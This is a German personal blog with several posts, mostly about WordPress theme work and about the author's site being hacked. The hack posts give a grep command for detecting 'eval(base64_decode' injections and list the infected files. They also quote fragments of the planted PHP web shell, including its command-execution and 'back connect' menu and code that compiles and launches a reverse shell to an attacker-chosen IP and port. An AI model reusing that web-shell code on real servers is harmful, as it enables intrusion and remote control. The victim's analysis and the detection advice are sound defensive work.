Und wieder hab ich es trotz aller Vorsätze aus den Augen verloren: Vor über fünf Jahren (21.05.2005) habe ich hier den ersten Eintrag verfasst und seit diesem Tag keinen Monat ausgelassen, wenn ich mich im Archiv nicht verzählt habe. 800+ Artikel und 850+ Kommentare. Das Design habe ich während dieser Zeit 3-4 Mal überarbeitet und mich trotz allem mit Erfolg dagegen gewehrt diese Webseite erfolgreich werden zu lassen. Wer will schon als Mainstream durchgehen. 😉

Vielen Dank an alle Leser und Kommentatoren!

Ich setzte gerade ein WordPress als CMS für eine andere Präsenz auf und habe mich entschlossen, gleich auf der aktuelle Beta 2 von WordPress 3.0 aufzusetzen. Bisher habe ich für ein neues Theme immer das Standard-Theme soweit angepasst, bis es meinen Vorstellungen entsprochen hat und bis auf ein paar Formatierungen für Content-Elemente kaum noch etwas vom ursprünglichen Gerüst vorhanden war.

Das neue „Twentyten“ Theme macht einem die Sache ziemlich schwer. Da scheint es für jede Eventualität eine Abfrage zu geben, die das Layout in verschiedenen Situationen minimal verändert. Das setzt sich auch darin fort, dass das Theme auf eine große Anzahl der Dateien aufteilt ist und Teile in Funktionen auslagert. Ich weiß inzwischen nicht mehr, ob das alles neue Features der Beta oder aber Template-Tags der 2.x Version sind, die ich nur nie benutzt habe. Das neue Standard-Theme hat offensichtlich den Anspruch wirklich alles zu implementieren, was inzwischen mit der „Wunderwaffe WordPress“ möglich ist.

Die letzten drei Stunden habe ich damit verbracht alles zu entfernen, was mir zumindest „suspekt“ vorkommt. Harte Zeiten für Themeautoren, die „mal eben schnell“ etwas ändern wollen, ohne vorher den WordPress-Codex auswendig zu lernen. Der Klassiker „Kubrick“ soll aber trotzdem noch funktionieren, wenngleich damit die neuen Features auf der Strecke bleiben.

Vielleicht bleibt ja was hängen, das ich verwenden kann, wenn es hier im Blog an die Umstellung geht. Der Release soll laut Roadmap in den nächsten Tagen erfolgen.

Alles wieder da, dieses Mal mit schicker Umleitung in der .htaccess – das darf doch alles nicht wahr sein.

Nachtrag:
Ich hab dieses Mal alles erwischt – hoffe ich. Drei Mal am Tag such ich jetzt nach verdächtigen Stellen in den Scripten. Das hat mich wirklich verstört.

Was habe ich an diesem Wochenende Zeit verbraten, um meine Webseite wieder sauber zu bekommen. Inzwischen sind da eine ganze Menge Dateien zusammengekommen, die Schadcode enthalten. Ich kann nur allen WordPress-Betreibern raten einfach einmal ihre Installation nach Anzeichen zu durchsuchen. Der Befall ist auch schon in älteren Backups zu finden, bevor es zu sichtbaren Fehlern kam.

Ein kurzer Befehl auf der Shell (im Installationsverzeichnis) zeigt, ob sich der Parasit auch bei euch eingenistet hat.

find ./ -iname "*.php" | xargs grep -H -n "eval(base64_decode"

Für Windows-User: Alle *.php Dateien nach „eval(base64_decode“ mit einem Programm eurer Wahl durchsuchen.

Das brachte bei mir auch noch einige Dateien außerhalb von wp-admin zum Vorschein:

./htdocs/ucara/wp-admin/edit-form-advanced.php:6:eval(base64_decode("$d"));
./htdocs/ucara/wp-admin/includes/users.php:6:eval(base64_decode("$d"));
./htdocs/ucara/wp-admin/includes/class-wp-filesystem-check.php:3:eval(base64_decode("$dd"));
./htdocs/ucara/wp-content/themes/classic/archive.php:3:eval(base64_decode("$dd"));
./htdocs/ucara/wp-includes/images/crystal/license.php:3:eval(base64_decode("$dd"));
./htdocs/ucara/wp-includes/common.php:3:eval(base64_decode("$dd"));
./htdocs/ucara/wp-includes/wp-vars.php:6:eval(base64_decode("$d"));
./htdocs/ucara/wp-includes/class-read.php:6:eval(base64_decode("$d"));

Also dieses Mal alle Dateien der WordPress-Installation aus einem frischen Release-Archiv überschreiben und ein weiteres Mal die Passwörter ändern. *seufz*

Diese Nacht war mein Provider so freundlich, mich auf einen anderen Server zu verlegen, auf dem PHP und MySQL in 5.X läuft. Zum Glück nutze ich ja keine alte Software, die mit diesen Versionen inkompatibel ist. Auch habe ich den Umbau genutzt, einige Altlasten aus den Datenbanken zu tilgen (alte Joomla-Installationen z.B.).

Regelmäßige Backups und Kontrollen – ist wohl das einzige was hilft.

Der WordPress-Problem von Vorgestern ist ein Hack!

Neuste WordPress-Version und ich kann nichts dagegen machen, als Passwörter zu tauschen und die DB zu sichern. Verdammt.

Thread im WordPress.com Forum.

Nachtrag:

Hab es meinem Provider gemeldet für den Fall, dass es nicht WordPress-spezifisch ist, sondern die Lücke am Server an sich liegt.

Für alle, die sich die veränderten Dateien anschauen wollen: https://www.caracasa.de/files/hacked_files.tar.bz2

Das Reverse-engineeren ist gar nicht so einfach, wenn der Hacker alles Base64 kodiert und immer wieder verschachtelt mit eval interpretieren lässt.
Damn you php und all scripting-languages!

Nachtrag2:

Laut Code,  kann der Hacker beliebige Dateien anfordern, ein Backup der MySQL-Datenbank machen, phpinfo() aufrufen, Befehle ausführen und beliebigen PHP-Code ausführen. Alles schön gesteuert über eine kleine Webseite mit Login über Javascript.

<td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
 
<span style="white-space: pre;"> </span>&lt;a href="javascript:goaction('logout');"&gt;Logout&lt;/a&gt; |
 
<span style="white-space: pre;"> </span>&lt;a href="javascript:goaction('file');"&gt;File Manager&lt;/a&gt; |
 
<span style="white-space: pre;"> </span>&lt;a href="javascript:goaction('sqladmin');"&gt;MySQL Manager&lt;/a&gt; |
 
<span style="white-space: pre;"> </span>&lt;a href="javascript:goaction('sqlfile');"&gt;MySQL Upload &amp;amp; Download&lt;/a&gt; |
 
<span style="white-space: pre;"> </span>&lt;a href="javascript:goaction('shell');"&gt;Execute Command&lt;/a&gt; |
 
<span style="white-space: pre;"> </span>&lt;a href="javascript:goaction('phpenv');"&gt;PHP Variable&lt;/a&gt; |
 
<span style="white-space: pre;"> </span>&lt;a href="javascript:goaction('eval');"&gt;Eval PHP Code&lt;/a&gt;
 
<span style="white-space: pre;"> </span>&lt;?php if (!IS_WIN) {?&gt; | &lt;a href="javascript:goaction('backconnect');"&gt;Back Connect&lt;/a&gt;&lt;?php }?&gt;
 
<span style="white-space: pre;"> </span>&lt;/td&gt;

Der Kompiliert sich sogar was Nettes mit dem GCC

if ($use == 'perl') {
<div id="_mcePaste">cf('/tmp/angel_bc',$back_connect);</div>
<div id="_mcePaste">$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &amp;");</div>
<div id="_mcePaste">} else {</div>
<div id="_mcePaste">cf('/tmp/angel_bc.c',$back_connect_c);</div>
<div id="_mcePaste">$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');</div>
<div id="_mcePaste">@unlink('/tmp/angel_bc.c');</div>
<div id="_mcePaste">$res = execute("/tmp/angel_bc $yourip $yourport &amp;");</div>
if ($use == 'perl') {			cf('/tmp/angel_bc',$back_connect);			$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &amp;");		} else {			cf('/tmp/angel_bc.c',$back_connect_c);			$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');			@unlink('/tmp/angel_bc.c');			$res = execute("/tmp/angel_bc $yourip $yourport &amp;");

So richtig kompatibel mit der aktuellen WordPress-Version (2.9.2) scheint das Script ja nicht zu sein, wenn es sich mit den erwähnten Ausfällen bemerkbar macht.

Grad noch gefunden – ein Plugin für WordPress um Exploits zu finden:
http://wordpress.org/extend/plugins/exploit-scanner/

Das läuft gerade, aber die entsprechenden Dateien sind ja schon weg.

hier geht es weiter: Ich wurde gehackt 2

Ich hab heute mal das Theme etwas aufgefrischt – alles etwas breiter ohne es komplett umzukrempeln. Noch nicht 100% fertig, aber reif um auf den Server zu wandern.

Eigentlich halte ich meine Daten recht ordentlich beieinander, doch die Quelldaten für die Headergrafik sind jedes Mal wie vom Erdboden verschwunden. Nur von 2005 und 2007 hab ich etwas in den Archiven gefunden. Aber so hatte ich wenigstens die Chance sauber auf Inkscape zu wechseln. Tolles Programm b.t.w. 😉

Nachtrag: Christian hat mich eben noch auf einen Fehler in der Seitenansicht gebracht. In der page.php hatte ich irgendwo ein <span> für die Seiten-Navigation aufgemacht, aber mit einem </div> geschlossen. Waren das noch Zeiten, als Tabellenlayout Stand der Technik war, und ein falsches Tag im Zusammenhang mit Containern nicht alles zerreißen konnte. 😉 Laut browsershots.org ist die Darstellung in allen gängigen Browsern konsistent – man muss nur alles testen. Valides XHTML 1.0 Transitional hoffe ich. Meine Stylesheets haben allerdings noch einige Macken.